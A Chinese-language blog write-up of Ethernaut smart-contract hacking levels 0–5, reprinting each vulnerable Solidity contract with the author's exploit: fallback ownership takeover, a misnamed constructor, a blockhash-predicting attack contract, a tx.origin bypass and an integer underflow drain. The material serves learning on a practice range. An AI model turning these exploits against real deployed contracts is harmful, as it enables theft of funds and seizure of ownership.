Ethernaut靶场练习(0-5)
1.Hello Ethernaut
目标:
安装好metamask,熟悉操作命令。
操作过程:
我们先提交一个实例,然后打开游览器F12.然后跟他的提示走。
先输入contract.info().
contract.info()
//You will find what you need in info1().
输入contract.info1()
//Try info2(), but with "hello" as a parameter.
contract.info2("hello")
//The property infoNum holds the number of t...
这里我们在进入infoNum里面。
contract.infoNum()
//看到word为42
contract.info42()
//theMethodName is the name of the next method...
contract.theMethodName()
//The method name is method7123949.
contract.method7123949()
If you know the password, submit it to auth
contract.password()
得到密码为ethernaut0
contract.authenticate("ethernaut0")
然后这边提交答案就可以了。

2.Fallback
目标:
- 您要求合同所有权
- 您将其余额减少到0
代码:
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
function() payable external {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
代码分析:
看了一下代码,如果要获取owner的话,有两种办法。
第一种是通过contrabute函数去获取。
(但是contribute函数中,每次发送小于0.001ether,但是判断了contributions[msg.sender] > contributions[owner]
contributions[owner]初始值为1000ether,这个要求我们很难满足)
第二种是通过fallback去获取。
(我们看到fallback中的owner = msg.sender;这就好办了,我们可以通过发送以太币,触发合约中的fallback函数。
但是其中判断了contributions[msg.sender] > 0,这里我们需要使他大于0.使用内置的函数去触发他)
操作过程:
contract.contribute({value: 1})先调用contribute获取贡献值。
然后使用contract.sendTransaction({value: 1})方法向以太坊网络提交一个交易。
这里我们可以看到合约的owner为自己了。

ok,我们现在查询一下合约的余额。getBalance(instance)

然后我们可以使用合约的转账函数。contract.withdraw()
然后我们再次查询余额。

3.Fallout
目标:
1.获取合约的权限。
代码:
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
代码分析:
做这种题,先看owner = msg.sender,毕竟是获取权限的。我们直接定位到Fal1out中,这里我们看到Fal1out,这里是开发写错了函数名,把这个当作构造函数了。这里我们可以直接调用获取owner权限。
操作过程:
contract.Fal1out(),获取owner。
3.Coin Flip
目标:这是一个硬币翻转游戏,您需要通过猜测硬币翻转的结果来建立自己的连胜纪录。要完成此级别,您需要使用自己的心理能力连续10次猜测正确的结果。
代码
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
代码分析:
我们先通读一下全文。首先定义了一个CoinFlip这个合约,然后引用了SafeMath这个库,定义了变量。在后面定义了结构consecutiveWins = 0。然后我们看看函数flip写了什么,首先输入一个布尔的值。那么参数_guess可控。uint256 blockValue = uint256(blockhash(block.number.sub(1)))。block.number表示当前区块数,然后减一。就是上一块。blockhash表示区块的hash,然后转换成uint256.然后判断lastHash == blockValue是否相等,如果等于了就回滚。
这里的意思就是不能重复上次的区块。然后获取到blockValue又赋值给lastHash,就相当于你要连续猜对10次才能通关。uint256 coinFlip = blockValue.div(FACTOR);这里把值赋给coinFlip,bool side = coinFlip == 1 ? true : false;这里的意思是判断coinfilp是否为1,如果不为1返回ture或者false给side。然后在到后面的if中,如果我们输入的值,等于就consecutiveWins++;直到consecutiveWins>10.否则失败。这里我们构造一个攻击合约,类似中间人,因为答案可以预测嘛,我们可以把得到的答案发送给原合约。
exp:
pragma solidity ^0.5.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract expcoinflip{
CoinFlip target;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function expaddress(address _addr) external{
target = CoinFlip(_addr);
}
function hack() external{
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = blockValue/FACTOR;
bool guess = coinFlip == 1 ? true : false;
target.flip(guess);
}
}
操作过程:

可以看到为0,要使他大于10.

导入合约地址,然后执行hack。知道大于10.

Telephone
目标:
获取合约的权限
代码:
pragma solidity ^0.5.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
代码分析:
我们看到代码还是很简单的,获取权限的话,我们先看看是否有owner = msg.sender。这里我看到有两处,第一处是在构造函数里面,第二处是在函数
changeOwner里面,那么我们要获取权限的话吗,就只能在changeOwner函数里面,我们来分析一下。他判断了tx.origin != msg.sender,tx.origin表示最初交易发起人,msg.sender表示消息的发起人。当然如果在同一个合约使用的话,是完全没有问题的。如果被其他合约调用了的话,就会出现问题。比如
合约b合约调用a合约。tx.origin表示用户,msg.sender表示合约a。就会绕过。
exp:
pragma solidity ^0.5.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exp{
Telephone a = Telephone(0x5ad1DEE3Eb55CFb3592DA97247cBB9Cc76a46AC8);
function hack() public{
a.changeOwner(msg.sender);
}
}
操作过程:


token
目标:
该级别的目标是让您破解下面的基本令牌合约。
首先会给您20个令牌,如果您设法以某种方式尝试使用任何其他令牌,就会超越该水平。优选地,非常大量的令牌。
代码:
pragma solidity ^0.5.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
代码分析:
我们看代码定义了两个函数,一个转账,一个查询余额。然后构造函数定义了totalSupply。根据题目,要求增加大量的token。那么我们使用溢出来做,
首先我们看看可控点,一个address和value。要使它变大我们可以使用下溢,比如1减去2.因为无符号,他就会得到一个极大的值。上溢比如指数相乘,超过了最大值极限,他就会变成0.我们在看看代码。
balances[msg.sender] - _value >= 0
这个判断写和没写没有区别,因为是uint型的没有符号,是恒成立的。
balances[msg.sender] -= _value
这个就是我们利用的点,首先balances[msg.sender]是初始化了的,为20.但是value可控。这里我们比他大就可以造成溢出了。这里地址可以不用管。随意就行。
exp:
contract.transfer("任意地址,但是要求存在",21)
操作:

看到为20.

Ethernaut靶场练习(0-5)的更多相关文章
- 漏洞靶场--webug4.0安装
官网:https://www.webug.org/ 官方版本里安装视频教程 7.19官网打不开,分享当初存在网盘的[7.1更新] 链接: https://pan.baidu.com/s/1F3658i ...
- VulnHub 实战靶场Breach-1.0
相比于CTF题目,Vulnhub的靶场更贴近于实际一些,而且更加综合考察了知识.在这里记录以下打这个靶场的过程和心得. 测试环境 Kali linux IP:192.168.110.128 Breac ...
- 靶场vulnhub-CH4INRULZ_v1.0.1通关
1.CH4INRULZ_v1.0.1靶场通关 ch4inrulz是vulnhub下的基于Linux的一个靶场,作为练习之用 目的:通过各种手段,获取到靶机内的flag的内容 2.环境搭建: 攻击机 K ...
- ZAM 3D 制作简单的3D字幕 流程(二)
原地址:http://www.cnblogs.com/yk250/p/5663907.html 文中表述仅为本人理解,若有偏差和错误请指正! 接着 ZAM 3D 制作简单的3D字幕 流程(一) .本篇 ...
- ZAM 3D 制作3D动画字幕 用于Xaml导出
原地址-> http://www.cnblogs.com/yk250/p/5662788.html 介绍:对经常使用Blend做动画的人来说,ZAM 3D 也很好上手,专业制作3D素材的XAML ...
- 微信小程序省市区选择器对接数据库
前言,小程序本身是带有地区选着器的(网站:https://mp.weixin.qq.com/debug/wxadoc/dev/component/picker.html),由于自己开发的程序的数据是很 ...
- osg编译日志
1>------ 已启动全部重新生成: 项目: ZERO_CHECK, 配置: Debug x64 ------1> Checking Build System1> CMake do ...
- ethernaut 以太坊靶场学习 (1-12)
前言 这个靶场搜集了许多不同的 solidity 开发的问题,通过这个可以入门 区块链安全 Fallback 给出了源码 pragma solidity ^0.4.18; import 'zeppel ...
- Vulnhub靶场渗透练习(一) Breach1.0
打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...
随机推荐
- Python练习题 002:奖金计算
[Python练习题 002]企业发放的奖金根据利润提成.利润(I)低于或等于10万元时,奖金可提10%:利润高于10万元,低于20万元时,低于10万元的部分按10%提成,高于10万元的部分,可可提成 ...
- 小伙伴问我:如何搭建Maven私服?我连夜肝了这篇实战文章!!
写在前面 十一假期期间,也有很多小伙伴不忘学习呀,看来有很多小伙伴想通过十一长假来提升自己的专业技能!这不,就有小伙伴在微信上问我:如何搭建Maven私服?让我专门推一篇搭建Maven私服的文章.安排 ...
- HTML中css水平居中的几种方式
1. 子元素为行内元素时,父元素使用 text-align: center; 实现子元素的水平居中: 2. 子元素为块级元素时, 2.1. 将子元素设置 margin: 0 auto; 实现居中: 2 ...
- Java知识系统回顾整理01基础01第一个程序03Eclipse下载安装
Eclipse是最流行的java 集成开发环境IDE(Integrated Development Environment) 下载安装Eclipse两种方式 一.方式1:Eclipse官网下载安装 链 ...
- springcloud学习入门
Springcloud入门学习笔记 1. 项目初始化配置 1. 1. 新建maven工程 使用idea创建maven项目 1. 2. 在parent项目pom中导入以下依赖 <parent> ...
- 微服务 | Spring Cloud(一):从单体SSM 到 Spring Cloud
系列文章目录 微服务 | Spring Cloud(一):从单体SSM 到 Spring Cloud 目录 系列文章目录 前言 单体式架构 微服务架构 优点 缺点 服务发现与弹性扩展 参考 前言 在微 ...
- C#数据结构-静态链表
对于双向链表中的节点,都包括一个向前.向后的属性器用于指向前后两个节点,对于引用类型,对象存储的是指向内存片段的内存指针,那么我们可以将其简化看作向前向后的两个指针. 现在我们将引用类型替换为值类型i ...
- mysql通配符_,%查询
模糊查询 在使用模糊查询的时候,mysql使用的是最左原则,所以模糊查询语句: select * from sys_user where user_name like '#{userName}%' 我 ...
- mycat 全局表
全局表的作用 在分片的情况下,当业务表因为规模而进行分片以后,业务表与这些附属的字典表之间的关联,就成了比较棘手的问题,考虑到字典表具有以下几个特性: 变动不频繁 数据量总体变化不大 数据规模不大,很 ...
- GIT 保存日志并建立自己的分支
以下是我个人在工作中对git的愚见全是大白话说明.也是我踩坑记录吧,防止下次再次踩坑. 再已有的dev(开发分支)新建自己的分支 (featuer)在更新到gitlab 仓库中的过程. 首先要有大致的 ...